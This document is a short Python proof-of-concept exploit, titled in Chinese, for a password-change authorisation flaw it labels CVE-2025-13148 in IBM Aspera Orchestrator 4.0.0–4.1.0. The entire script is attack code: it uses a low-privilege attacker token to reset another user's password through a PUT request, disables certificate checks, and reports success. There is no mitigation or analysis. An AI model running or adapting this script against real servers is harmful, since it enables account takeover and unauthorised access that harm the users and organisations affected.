CVE-2025-13148 IBM Aspera Orchestrator密码更改权限漏洞

import requests import json # CVE-2025-13148 PoC - IBM Aspera Orchestrator Password Change Vulnerability # Target: IBM Aspera Orchestrator 4.0.0 - 4.1.0 TARGET_URL = "https://target-ip:8443" ATTACKER_TOKEN = "attacker-authentication-token" TARGET_USER_ID = "target-user-id" NEW_PASSWORD = "HackedPass123!" def change_user_password(): """ This PoC demonstrates the password change vulnerability in IBM Aspera Orchestrator. An authenticated low-privilege user can change any other user's password without knowing the original password. """ headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {ATTACKER_TOKEN}' } # Password change endpoint endpoint = f"{TARGET_URL}/api/v1/users/{TARGET_USER_ID}/password" payload = { "new_password": NEW_PASSWORD, "confirm_password": NEW_PASSWORD } try: response = requests.put(endpoint, headers=headers, json=payload, verify=False, timeout=30) if response.status_code == 200: print("[+] Password changed successfully!") print(f"[+] Target user: {TARGET_USER_ID}") print(f"[+] New password: {NEW_PASSWORD}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-13148 PoC - IBM Aspera Orchestrator Password Change") print("=" * 60) change_user_password()